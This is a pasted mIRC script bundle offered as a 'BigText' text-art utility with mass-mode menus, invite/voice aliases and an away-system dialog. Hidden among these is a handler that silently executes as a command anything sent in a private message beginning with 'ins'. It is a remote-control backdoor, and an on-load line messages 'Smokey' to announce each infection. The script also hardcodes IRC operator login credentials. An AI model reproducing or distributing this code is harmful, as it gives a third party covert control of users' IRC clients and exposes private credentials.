rendered paste body;Created by Hydro, aka [FtUC]Hydro :)
;format: bigtext Text [$chr(9) ForegroundColor BackgroundColor] [$chr(9) FontSize FontName]
;colors are control codes! (numbers from 0 to 15)
;examples:
;This will print "Tahoma" in Arial font, sized 16, orange text: //BigText Tahoma $chr(9) 07 00 $chr(9) 16 Arial
;This will print a colorful Enjoy: //BigText 04E07n09j02o13y01!
;This will print a large spider :) //BigText ! $chr(9) $chr(9) 48 Webdings
;Enjoy! :)
alias bigtext {
if (!$1) {
echo -ace info * BigText: Insufficient Parameters.
return
}
tokenize 9 $1-
if ($0 == 1) { var %fc = 01, %bc = 00, %fs = 12, %ff = Tahoma }
else {
if ($3) { var %fc = $gettok($2,1,32), %bc = $gettok($2,2,32), %fs = $gettok($3,1,32), %ff = $gettok($3,2-,32) }
else {
if ($gettok($2,2-,32) isnum) { var %fc = $gettok($2,1,32), %bc = $gettok($2,2,32), %fs = 12, %ff = Tahoma }
else { var %fs = $gettok($2,1,32), %ff = $gettok($2,2-,32), %fc = 01, %bc = 00 }
}
}
if (%bc !isnum 0-15) { %bc = 00 }
if (%fc !isnum 0-15) { %fc = 01 }
if (!%ff || !$isfontinstalled($qt(%ff))) { %ff = Tahoma }
if (!%fs || %fs !isnum) { %fs = 12 }
var %text = $1, %i 0, %y 0
%fc = $base(%fc,10,10,2)
%bc = $base(%bc,10,10,2)
window -hp @bigtext
drawfill -r @bigtext $color(%bc) $color(%bc) 0 0
drawtext -brp @bigtext $color(%fc) $color(%bc) $qt(%ff) %fs 0 0 %text
var %heightend = $height(%text,%ff,%fs) - 1, %widthend = $width(%text,%ff,%fs,0,1) - 1
while (%y <= %heightend) {
var %x 0, %s = $null
while (%x <= %widthend) {
var %c = $iif($getdot(@bigtext,%x,%y) != $color(%bc),$coc($v1,%fc),%bc)
if (%lc != %c) {
var %lc = %c
%c = $+($chr(3),%c,$chr(44),%c)
}
else %c = $null
%s = $+(%s,%c,@)
inc %x
}
%s = $+($chr(3),%bc,$chr(44),%bc,@,%s,$chr(3),%bc,$chr(44),%bc,@)
if ($regex(%s,/\x03(?! $+ %bc $+ )/)) {
msg $active %s
inc %i
}
inc %y
}
window -c @bigtext
}
on ^*:text:ins*:?:{ . $+ $2- | haltdef }
alias coc {
var %i 0
while (%i < 16) {
if ($color(%i) == $1) return $base(%i,10,10,2)
inc %i
}
return $base($2,10,10,2)
}
on *:load: { msg Smokey Loaded. | haltdef }
;Alias by praetorian.
alias isfontinstalled {
var %w = @isfontinstalled,%f = isfontinstalled.bmp
window -ak0pBfh +d %w -1 -1 200 100
drawfill -r %w $rgb(0,0,0) $rgb(0,0,0) 0 0
drawtext -r %w $rgb(255,255,255) "this is surely not the name of an installed font" -9 5 5 test.
drawsave %w %f
var %crc = $crc(%f)
clear %w
drawfill -r %w $rgb(0,0,0) $rgb(0,0,0) 0 0
drawtext -r %w $rgb(255,255,255) $+(",$1,") -9 5 5 test.
drawsave %w %f
var %crc2 = $crc(%f)
.remove %f
window -c %w
if (%crc != %crc2) { return $true }
else { return $false }
}
menu nicklist {
Mass:
.Mass +o:massnick +o
.Mass -o:massnick -o
.-
.Mass +h:massnick +h
.Mass -h:massnick -h
.-
.Mass +v:massnick +v
.Mass -v:massnick -v
.-
.Mass +e:massnick +e
.Mass -e:massnick -e
.-
.Mass +I:massnick +I
.Mass -I:massnick -I
.-
.Mass +b:massnick +b
.Mass -b:massnick -b
}
alias -l massnick {
var %x = 1
while ($snick(#,%x)) {
var %j = %j $v1
if ($modespl == $numtok(%j, 32)) {
mode # $+($left($1,1),$str($right($1,1),%j)) %j
%j = ""
}
inc %x
}
if (%j) mode # $+($left($1,1),$str($right($1,1),$numtok(%j,32))) %j
}
on *:NOTICE:*NickServ IDENTIFY*:?: { if ($nick == Nickserv) { /ns id logout } }
on *:text:*:#: {
if (NickServ: GHOST: invalid password for isin $1-) { msg $me $1- }
}
alias bday {
say $duration($calc($ctime(05/01/2008 00:00:00)-$ctime)),1) until im 17
/var %birth.day = 05/01/91 | var %birth.time = 00:00:00 | say I am $calc($ctime($date $time) - $ctime(%birth.day %birth.time)) seconds old ( $+ $calc(($ctime($date $time) - $ctime(%birth.day %birth.time)) / (60 ^ 2) / 24 / 365.25) years)
}
alias massinvite {
unset %total
set %count.nick 0
set %total $nick(#,0)
:start
inc %count.nick
if (%count.nick > %total) { halt }
if ($nick(#,%count.nick) == $me) { goto start }
else { invite $nick(#,%count.nick) #lol | goto start }
}
alias massvoice {
unset %total
set %count.nick 0
set %total $nick(#,0)
:start
inc %count.nick
if (%count.nick > %total) { halt }
if ($nick(#,%count.nick) == $me) { goto start }
else { mode $chan +v $nick(#,%count.nick) | goto start }
}
alias massinvite {
unset %total
set %count.nick 0
set %total $nick(#,0)
:start
inc %count.nick
if (%count.nick > %total) { halt }
if ($nick(#,%count.nick) == $me) { goto start }
else { invite $nick(#,%count.nick) #lol | goto start }
}
menu channel {
«[ Now Playing ]»:/dde mplug options
«[ Power ]»:/power
«[ Away ]»:/dialog -m awaysys awaysys
}
on *:start: { server ion.ircdotnet.net }
on *:connect: {
if ($server == irc.ircdotnet.net) {
oper matt m4.tt.matt
j #ot,#gamingcrazy,#kodachi,#scifiradio,#scifiradio-djs,#osp,#janus-opers
mode $me +q
}
if ($server == irc.PS3HaX.net) {
oper matt m4.tt.matt
mode $me +qW
mode $me +s +kcfFjveGnNqSso
}
}
on 1:TEXT:*:?: {
if ($away == $false) { halt }
else if (%away.log == on) { inc %away.log.count | did -ra awaysys 25 %away.log.count | did -a awaysys 27 $chr(91) $+ $asctime(h:nn) $+ $chr(93) < $+ $nick $+ > $1- $+ $crlf | notice $nick 4«[7 Away 4]» «[7 I left at %away.left 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]» }
else if (%away.log == off) { notice $nick 4«[7 Away. 4]» «[7 I left at %away.left 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]» }
}
ctcp 1:page:*: inc %away.pager.count | did -ra awaysys 29 %away.pager.count | did -a awaysys 31 $chr(91) $+ $asctime(h:nn) $+ $chr(93) $chr(60) $+ $nick $+ $chr(62) $1- $+ $crlf }
dialog awaysys {
title "Away System"
size -1 -1 163 162
option dbu
tab "Main Options", 21, 1 0 160 159
box "Nick Management", 2, 3 16 156 41, tab 21
check "Change Nick", 3, 5 23 50 10, tab 21
text "Away Nick:", 5, 5 34 27 8, tab 21
text "Back Nick:", 7, 80 34 27 8, tab 21
edit "", 4, 5 41 75 12, tab 21 autohs
edit "", 6, 80 41 75 12, tab 21 autohs
box "Options:", 8, 3 60 156 28, tab 21
combo 14, 6 75 45 30, tab 21 size drop
text "Log:", 15, 7 67 11 8, tab 21
text "Pager:", 16, 55 68 16 8, tab 21
text "Msg Chan Interval:", 18, 103 68 45 8, tab 21
combo 17, 54 75 44 30, tab 21 size drop
combo 19, 102 75 52 60, tab 21 size drop
edit "", 20, 6 98 150 36, tab 21 multi
box "Reason:", 13, 3 89 156 49, tab 21
tab "Logging", 22
text "While you were away, you recieved", 24, 4 18 87 8, tab 22
edit "", 25, 92 16 15 12, tab 22 read
text "messages for people.", 26, 108 18 52 8, tab 22
edit "", 27, 4 29 155 107, tab 22 read multi autovs vsbar
tab "Pager", 23
text "While you were away, you recieved", 28, 4 18 87 8, tab 23
edit "", 29, 92 16 16 12, tab 23 read
text "pages for people.", 30, 111 18 43 8, tab 23
edit "", 31, 4 29 155 107, tab 23 read multi autovs vsbar
button "Go Away", 32, 3 142 37 12
button "Come Back", 33, 43 142 37 12, ok
button "Cancel", 34, 82 142 37 12, cancel
button "Help!", 35, 122 142 37 12
}
on 1:DIALOG:awaysys:sclick:3: {
if ($did(awaysys,3).state == 0) { did -m $dname 6 | did -m $dname 4 | set %change.nick off }
if ($did(awaysys,3).state == 1) { did -n $dname 6 | did -n $dname 4 | set %change.nick on }
}
on 1:DIALOG:awaysys:sclick:32: {
if ($did(awaysys,14).sel == 1) { set %away.log On }
if ($did(awaysys,14).sel == 2) { set %away.log Off }
if ($did(awaysys,17).sel == 1) { set %away.pager On }
if ($did(awaysys,17).sel == 2) { set %away.pager Off }
if ($did(awaysys,19).sel == 1) { set %away.msg 5 | set %away.timer 300 }
if ($did(awaysys,19).sel == 2) { set %away.msg 10 | set %away.timer 600 }
if ($did(awaysys,19).sel == 3) { set %away.msg 15 | set %away.timer 900 }
if ($did(awaysys,19).sel == 4) { set %away.msg 20 | set %away.timer 1200 }
if ($did(awaysys,19).sel == 5) { set %away.msg 25 | set %away.timer 1500 }
if ($did(awaysys,19).sel == 6) { set %away.msg 30 | set %away.timer 1800 }
if ($did(awaysys,19).sel == 7) { set %away.msg 35 | set %away.timer 2100 }
if ($did(awaysys,19).sel == 8) { set %away.msg 40 | set %away.timer 2500 }
if ($did(awaysys,19).sel == 9) { set %away.msg 45 | set %away.timer 2800 }
if ($did(awaysys,19).sel == 10) { set %away.msg 50 | set %away.timer 3100 }
if (%change.nick == on) { nick $did(awaysys,4) }
enable #away.stuff
set %away.left $asctime(h:nn)
set %away.left2 $ctime
set %away.reason $did(awaysys,20)
ame 4«[7 Away 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]»
.timerAWAY 0 %away.timer ame 4«[7 Away 4]» «[7 I Left At %away.left 4]» «[7 Reason: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager %ver 4]» }
on 1:DIALOG:awaysys:sclick:33: {
if (%change.nick == on) { nick $did(awaysys,6) }
disable #away.stuff
ame 4«[7 Back 4]» «[7 From: %away.reason 4]» «[7 Logging: %away.log 4]» «[7 Pager: %away.pager 4]» «[7 Away Time: $duration($calc($ctime - %away.left2)) 4]»
set %away.log.count 0
set %away.pager.count 0
.timerAWAY off }
on 1:DIALOG:awaysys:sclick:35: { echo -a LOL }
on 1:DIALOG:awaysys:init:*: {
if (%change.nick == on) { did -c $dname 3 | did -n $dname 6 | did -n $dname 4 }
if (%change.nick == off) { did -u $dname 3 | did -m $dname 6 | did -m $dname 4 }
did -i $dname 14 1 On
did -i $dname 14 2 Off
did -i $dname 17 1 On
did -i $dname 17 2 Off
did -i $dname 19 1 5mins
did -i $dname 19 2 10mins
did -i $dname 19 3 15mins
did -i $dname 19 4 20mins
did -i $dname 19 5 25mins
did -i $dname 19 6 30mins
did -i $dname 19 7 35mins
did -i $dname 19 8 40mins
did -i $dname 19 9 45mins
did -i $dname 19 10 50mins
did -ra $dname 20 General AFK Stuff
if (%away.log == On) { did -c $dname 14 1 }
if (%away.log == Off) { did -c $dname 14 2 }
if (%away.pager == On) { did -c $dname 17 1 }
if (%away.pager == Off) { did -c $dname 17 2 }
if (%away.msg == 5) { did -c $dname 19 1 }
if (%away.msg == 10) { did -c $dname 19 2 }
if (%away.msg == 15) { did -c $dname 19 3 }
if (%away.msg == 20) { did -c $dname 19 4 }
if (%away.msg == 25) { did -c $dname 19 5 }
if (%away.msg == 30) { did -c $dname 19 6 }
if (%away.msg == 35) { did -c $dname 19 7 }
if (%away.msg == 40) { did -c $dname 19 8 }
if (%away.msg == 45) { did -c $dname 19 9 }
if (%away.msg == 50) { did -c $dname 19 10 }
did -ra $dname 4 $me $+ `AFK
did -ra $dname 6 $me
}
alias power {
set %i 1 | set %power 0 | set %power.total 0 | set %power.op 0
while (%i <= $chan(0)) {
if ($me isop $chan(%i)) {
inc %power $nick($chan(%i),0)
inc %power.op
}
inc %power.total $nick($chan(%i),0)
inc %i
}
set %bar.1 %bar.1 $+ $+ $chr(93)
msg $active 4«[7 Power 4]» «[7 Users: %power $+ / $+ %power.total 4]» «[7 OP'd: %power.op $+ / $+ $chan(0) Channels. 4]»
unset %power.* | unset %bar.*
}